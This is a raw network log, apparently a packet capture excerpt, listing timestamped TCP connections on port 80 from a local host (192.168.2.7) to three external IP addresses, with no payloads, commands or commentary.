Sep 7, 2024 15:30:18.119066000 CEST	49774	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:30:18.123600960 CEST	49775	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:18.129117966 CEST	80	49775	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:18.129554033 CEST	49775	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:18.145210028 CEST	49775	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:18.151377916 CEST	80	49775	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:18.614765882 CEST	80	49775	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:18.615689039 CEST	80	49775	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:18.615817070 CEST	49775	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:18.615817070 CEST	49775	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:18.616902113 CEST	49773	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:18.617178917 CEST	49776	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:18.622021914 CEST	80	49773	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:18.622076035 CEST	49773	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:18.622164965 CEST	80	49776	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:18.622229099 CEST	49776	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:18.622504950 CEST	49776	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:18.627466917 CEST	80	49776	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:19.106137037 CEST	80	49776	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:19.107300997 CEST	49776	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:20.142187119 CEST	49777	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:30:20.147468090 CEST	80	49777	88.198.29.97	192.168.2.7
Sep 7, 2024 15:30:20.147537947 CEST	49777	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:30:20.160864115 CEST	49777	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:30:20.164333105 CEST	49778	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:20.165888071 CEST	80	49777	88.198.29.97	192.168.2.7
Sep 7, 2024 15:30:20.166538000 CEST	49777	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:30:20.169116974 CEST	80	49778	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:20.169776917 CEST	49778	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:20.176423073 CEST	49778	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:20.181483984 CEST	80	49778	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:20.654943943 CEST	80	49778	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:20.655083895 CEST	49778	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:20.655136108 CEST	80	49778	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:20.655175924 CEST	49778	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:20.662897110 CEST	49776	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:20.663491011 CEST	49779	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:20.668055058 CEST	80	49776	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:20.668123960 CEST	49776	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:20.668318987 CEST	80	49779	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:20.668390036 CEST	49779	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:20.668616056 CEST	49779	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:20.673835993 CEST	80	49779	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:21.163606882 CEST	80	49779	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:21.163670063 CEST	49779	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:23.270811081 CEST	49780	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:30:23.275887012 CEST	80	49780	88.198.29.97	192.168.2.7
Sep 7, 2024 15:30:23.275957108 CEST	49780	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:30:23.285793066 CEST	49780	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:30:23.291009903 CEST	80	49780	88.198.29.97	192.168.2.7
Sep 7, 2024 15:30:23.291057110 CEST	49780	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:30:23.291251898 CEST	49781	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:23.296088934 CEST	80	49781	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:23.296150923 CEST	49781	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:23.296232939 CEST	49781	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:23.300985098 CEST	80	49781	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:23.790201902 CEST	80	49781	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:23.790729046 CEST	80	49781	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:23.790792942 CEST	49781	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:23.790903091 CEST	49781	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:23.804909945 CEST	49779	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:23.805249929 CEST	49782	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:23.810381889 CEST	80	49782	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:23.810463905 CEST	49782	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:23.810664892 CEST	49782	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:23.810919046 CEST	80	49779	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:23.811021090 CEST	49779	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:23.815960884 CEST	80	49782	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:24.295131922 CEST	80	49782	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:24.295244932 CEST	49782	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:25.033222914 CEST	49783	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:30:25.038331985 CEST	80	49783	88.198.29.97	192.168.2.7
Sep 7, 2024 15:30:25.041150093 CEST	49783	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:30:25.051425934 CEST	49783	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:30:25.055286884 CEST	49784	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:25.059654951 CEST	80	49783	88.198.29.97	192.168.2.7
Sep 7, 2024 15:30:25.061683893 CEST	80	49783	88.198.29.97	192.168.2.7
Sep 7, 2024 15:30:25.062844992 CEST	80	49784	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:25.062891006 CEST	49783	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:30:25.062923908 CEST	49784	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:25.062988997 CEST	49784	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:25.070187092 CEST	80	49784	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:25.560272932 CEST	80	49784	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:25.560422897 CEST	49784	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:25.560839891 CEST	80	49784	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:25.560878992 CEST	49784	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:25.562813997 CEST	49782	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:25.563098907 CEST	49785	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:25.568141937 CEST	80	49785	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:25.568264008 CEST	49785	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:25.568613052 CEST	49785	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:25.569061041 CEST	80	49782	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:25.569120884 CEST	49782	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:25.573798895 CEST	80	49785	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:26.051651955 CEST	80	49785	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:26.051714897 CEST	49785	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:26.182249069 CEST	49786	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:30:26.189860106 CEST	80	49786	88.198.29.97	192.168.2.7
Sep 7, 2024 15:30:26.191112041 CEST	49786	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:30:26.192043066 CEST	49786	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:30:26.196127892 CEST	49787	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:26.198981047 CEST	80	49786	88.198.29.97	192.168.2.7
Sep 7, 2024 15:30:26.199434042 CEST	49786	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:30:26.202790976 CEST	80	49787	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:26.205785990 CEST	49787	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:26.205873966 CEST	49787	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:26.210947990 CEST	80	49787	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:26.696897984 CEST	80	49787	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:26.696923018 CEST	80	49787	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:26.696994066 CEST	49787	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:26.697088003 CEST	49787	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:26.697489023 CEST	49785	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:26.697803974 CEST	49788	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:26.703234911 CEST	80	49785	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:26.703277111 CEST	49785	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:26.703438044 CEST	80	49788	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:26.703768015 CEST	49788	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:26.704111099 CEST	49788	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:26.709965944 CEST	80	49788	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:27.197314024 CEST	80	49788	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:27.197385073 CEST	49788	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:27.543134928 CEST	49789	80	192.168.2.7	64.70.19.203
Sep 7, 2024 15:30:27.549256086 CEST	80	49789	64.70.19.203	192.168.2.7
Sep 7, 2024 15:30:27.549813032 CEST	49789	80	192.168.2.7	64.70.19.203
Sep 7, 2024 15:30:27.551474094 CEST	49789	80	192.168.2.7	64.70.19.203
Sep 7, 2024 15:30:27.555728912 CEST	49790	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:27.557260990 CEST	80	49789	64.70.19.203	192.168.2.7
Sep 7, 2024 15:30:27.557341099 CEST	49789	80	192.168.2.7	64.70.19.203
Sep 7, 2024 15:30:27.560719967 CEST	80	49790	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:27.561378002 CEST	49790	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:27.567073107 CEST	49790	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:27.572577953 CEST	80	49790	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:28.056838989 CEST	80	49790	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:28.057039022 CEST	80	49790	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:28.057126999 CEST	49790	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:28.057192087 CEST	49790	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:28.058880091 CEST	49788	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:28.059227943 CEST	49791	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:28.065515995 CEST	80	49791	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:28.065529108 CEST	80	49788	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:28.065596104 CEST	49788	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:28.065610886 CEST	49791	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:28.065747023 CEST	49791	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:28.070817947 CEST	80	49791	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:28.551011086 CEST	80	49791	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:28.551462889 CEST	49791	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:30.858731031 CEST	49792	80	192.168.2.7	64.70.19.203
Sep 7, 2024 15:30:30.866650105 CEST	80	49792	64.70.19.203	192.168.2.7
Sep 7, 2024 15:30:30.866729021 CEST	49792	80	192.168.2.7	64.70.19.203
Sep 7, 2024 15:30:30.879651070 CEST	49792	80	192.168.2.7	64.70.19.203
Sep 7, 2024 15:30:30.883579969 CEST	49793	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:30.888046026 CEST	80	49792	64.70.19.203	192.168.2.7
Sep 7, 2024 15:30:30.888103008 CEST	49792	80	192.168.2.7	64.70.19.203
Sep 7, 2024 15:30:30.891402960 CEST	80	49793	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:30.891480923 CEST	49793	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:30.895234108 CEST	49793	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:30.900573015 CEST	80	49793	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:31.378427982 CEST	80	49793	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:31.378556013 CEST	49793	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:31.378695965 CEST	80	49793	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:31.378750086 CEST	49793	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:31.380557060 CEST	49791	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:31.381165981 CEST	49794	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:31.387093067 CEST	80	49791	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:31.387145042 CEST	49791	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:31.387245893 CEST	80	49794	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:31.387314081 CEST	49794	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:31.387440920 CEST	49794	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:31.392575979 CEST	80	49794	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:31.901859999 CEST	80	49794	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:31.905812979 CEST	49794	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:32.048232079 CEST	49795	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:30:32.054636955 CEST	80	49795	88.198.29.97	192.168.2.7
Sep 7, 2024 15:30:32.054721117 CEST	49795	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:30:32.054840088 CEST	49795	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:30:32.060014009 CEST	80	49795	88.198.29.97	192.168.2.7
Sep 7, 2024 15:30:32.060172081 CEST	49795	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:30:32.067063093 CEST	49796	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:32.071969986 CEST	80	49796	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:32.074527025 CEST	49796	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:32.074654102 CEST	49796	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:32.079595089 CEST	80	49796	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:32.563839912 CEST	80	49796	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:32.563947916 CEST	80	49796	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:32.563987970 CEST	49796	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:32.564037085 CEST	49796	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:32.564232111 CEST	49794	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:32.564718962 CEST	49797	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:32.570779085 CEST	80	49797	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:32.570846081 CEST	49797	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:32.571053982 CEST	49797	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:32.571788073 CEST	80	49794	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:32.571957111 CEST	49794	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:32.575974941 CEST	80	49797	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:33.098201990 CEST	80	49797	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:33.101422071 CEST	49797	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:36.568367958 CEST	55210	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:30:36.573602915 CEST	80	55210	88.198.29.97	192.168.2.7
Sep 7, 2024 15:30:36.573707104 CEST	55210	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:30:36.582746983 CEST	55210	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:30:36.587083101 CEST	55211	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:36.587898016 CEST	80	55210	88.198.29.97	192.168.2.7
Sep 7, 2024 15:30:36.587985992 CEST	55210	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:30:36.592010021 CEST	80	55211	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:36.592082024 CEST	55211	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:36.592180014 CEST	55211	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:36.597145081 CEST	80	55211	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:37.080840111 CEST	80	55211	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:37.080972910 CEST	55211	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:37.081156969 CEST	80	55211	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:37.081208944 CEST	55211	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:37.082571030 CEST	49797	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:37.083093882 CEST	55212	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:37.087646961 CEST	80	49797	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:37.087706089 CEST	49797	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:37.088004112 CEST	80	55212	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:37.088078022 CEST	55212	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:37.088207006 CEST	55212	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:37.093125105 CEST	80	55212	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:37.573753119 CEST	80	55212	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:37.573801994 CEST	55212	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:37.710273027 CEST	55213	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:30:37.717781067 CEST	80	55213	88.198.29.97	192.168.2.7
Sep 7, 2024 15:30:37.720103979 CEST	55213	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:30:37.720177889 CEST	55213	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:30:37.723913908 CEST	55214	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:37.728276968 CEST	80	55213	88.198.29.97	192.168.2.7
Sep 7, 2024 15:30:37.729800940 CEST	55213	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:30:37.730700970 CEST	80	55214	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:37.730777025 CEST	55214	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:37.739172935 CEST	55214	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:37.744630098 CEST	80	55214	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:38.239845991 CEST	80	55214	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:38.240061998 CEST	80	55214	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:38.240120888 CEST	55214	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:38.240173101 CEST	55214	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:38.242495060 CEST	55212	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:38.242753983 CEST	55215	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:38.247495890 CEST	80	55212	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:38.247553110 CEST	55212	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:38.247695923 CEST	80	55215	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:38.249793053 CEST	55215	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:38.250509977 CEST	55215	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:38.255398989 CEST	80	55215	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:38.763783932 CEST	80	55215	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:38.763860941 CEST	55215	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:39.050261974 CEST	55216	80	192.168.2.7	64.70.19.203
Sep 7, 2024 15:30:39.057605982 CEST	80	55216	64.70.19.203	192.168.2.7
Sep 7, 2024 15:30:39.057849884 CEST	55216	80	192.168.2.7	64.70.19.203
Sep 7, 2024 15:30:39.057933092 CEST	55216	80	192.168.2.7	64.70.19.203
Sep 7, 2024 15:30:39.061903000 CEST	55217	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:39.063097954 CEST	80	55216	64.70.19.203	192.168.2.7
Sep 7, 2024 15:30:39.063158035 CEST	55216	80	192.168.2.7	64.70.19.203
Sep 7, 2024 15:30:39.067064047 CEST	80	55217	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:39.067126989 CEST	55217	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:39.067334890 CEST	55217	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:39.075264931 CEST	80	55217	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:39.576826096 CEST	80	55217	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:39.576948881 CEST	55217	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:39.577223063 CEST	55215	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:39.577512980 CEST	55218	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:39.579536915 CEST	80	55217	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:39.579585075 CEST	55217	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:39.582624912 CEST	80	55218	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:39.582706928 CEST	55218	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:39.582772970 CEST	80	55215	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:39.582818985 CEST	55215	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:39.586772919 CEST	55218	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:39.592645884 CEST	80	55218	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:40.072678089 CEST	80	55218	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:40.072753906 CEST	55218	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:42.832676888 CEST	55219	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:30:42.837955952 CEST	80	55219	88.198.29.97	192.168.2.7
Sep 7, 2024 15:30:42.838010073 CEST	55219	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:30:42.838085890 CEST	55219	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:30:42.842391968 CEST	55220	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:42.843719006 CEST	80	55219	88.198.29.97	192.168.2.7
Sep 7, 2024 15:30:42.843838930 CEST	55219	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:30:42.847371101 CEST	80	55220	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:42.847440958 CEST	55220	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:42.847508907 CEST	55220	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:42.853104115 CEST	80	55220	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:43.372328043 CEST	80	55220	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:43.372489929 CEST	55220	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:43.373317957 CEST	80	55220	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:43.373379946 CEST	55220	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:43.374301910 CEST	55218	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:43.374643087 CEST	55221	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:43.379617929 CEST	80	55218	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:43.379667044 CEST	55218	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:43.379787922 CEST	80	55221	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:43.379846096 CEST	55221	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:43.379944086 CEST	55221	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:43.385068893 CEST	80	55221	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:43.886985064 CEST	80	55221	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:43.887073040 CEST	55221	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:47.244683981 CEST	55222	80	192.168.2.7	64.70.19.203
Sep 7, 2024 15:30:47.249520063 CEST	80	55222	64.70.19.203	192.168.2.7
Sep 7, 2024 15:30:47.249581099 CEST	55222	80	192.168.2.7	64.70.19.203
Sep 7, 2024 15:30:47.249650002 CEST	55222	80	192.168.2.7	64.70.19.203
Sep 7, 2024 15:30:47.253396988 CEST	55223	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:47.254959106 CEST	80	55222	64.70.19.203	192.168.2.7
Sep 7, 2024 15:30:47.255031109 CEST	55222	80	192.168.2.7	64.70.19.203
Sep 7, 2024 15:30:47.259737968 CEST	80	55223	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:47.259848118 CEST	55223	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:47.270293951 CEST	55223	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:47.277244091 CEST	80	55223	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:47.749255896 CEST	80	55223	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:47.749375105 CEST	80	55223	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:47.749387980 CEST	55223	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:47.749429941 CEST	55223	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:47.757534027 CEST	55221	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:47.758487940 CEST	55224	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:47.762799978 CEST	80	55221	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:47.763395071 CEST	80	55224	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:47.763447046 CEST	55221	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:47.763484001 CEST	55224	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:47.768455982 CEST	55224	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:47.773690939 CEST	80	55224	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:48.279124022 CEST	80	55224	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:48.279957056 CEST	55224	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:51.310216904 CEST	55225	80	192.168.2.7	64.70.19.203
Sep 7, 2024 15:30:51.315824032 CEST	80	55225	64.70.19.203	192.168.2.7
Sep 7, 2024 15:30:51.317814112 CEST	55225	80	192.168.2.7	64.70.19.203
Sep 7, 2024 15:30:51.317929029 CEST	55225	80	192.168.2.7	64.70.19.203
Sep 7, 2024 15:30:51.323270082 CEST	80	55225	64.70.19.203	192.168.2.7
Sep 7, 2024 15:30:51.323818922 CEST	55225	80	192.168.2.7	64.70.19.203
Sep 7, 2024 15:30:51.324759007 CEST	55226	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:51.337064028 CEST	80	55226	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:51.337974072 CEST	55226	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:51.338114023 CEST	55226	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:51.345585108 CEST	80	55226	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:51.853977919 CEST	80	55226	172.234.222.143	192.168.2.7
